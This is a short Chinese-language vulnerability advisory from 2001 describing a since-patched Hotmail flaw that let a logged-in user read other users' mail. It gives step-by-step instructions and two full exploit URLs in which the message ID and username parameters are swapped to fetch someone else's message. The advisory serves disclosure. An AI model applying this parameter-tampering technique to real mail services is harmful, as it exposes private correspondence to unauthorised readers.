发布日期：2001-08-18
更新日期：2001-08-23

受影响系统：

http://www.hotmail.com

描述：

---

Hotmail存在一个安全漏洞，攻击者可以阅读任何人的信件。

按照下面的三个步骤可以阅读其它用户在Hotmail的信件：

1.用你在Hotmail的帐号登陆进入系统
2.用下面的链接来 阅读特定用户的信件：

http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f
%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22
%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26log
in%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com

或者

http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%
2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e
22%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26l
ogin%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com

修改MSG943322803%2e16 (消息ID)
    username          （帐号）
即可。

如果你不想阅读信件的原始信息，可以去掉“%26raw%3d0”，如果你不希望Hotmail的
信息显示在顶部，可以去掉“&hm___fl=attrd&domain=hotmail.com”。

3.完成。如果你输入了和帐号对应的正确消息ID，那么你就会看到该用户的信件。

<*来源：wAwAsAn4 （wAwAsAn4@root-core.com）
  参考：www.root-core.com
*>

建议：

---

目前厂商已经修复了这个漏洞

浏览次数：3540
严重程度：0（网友投票）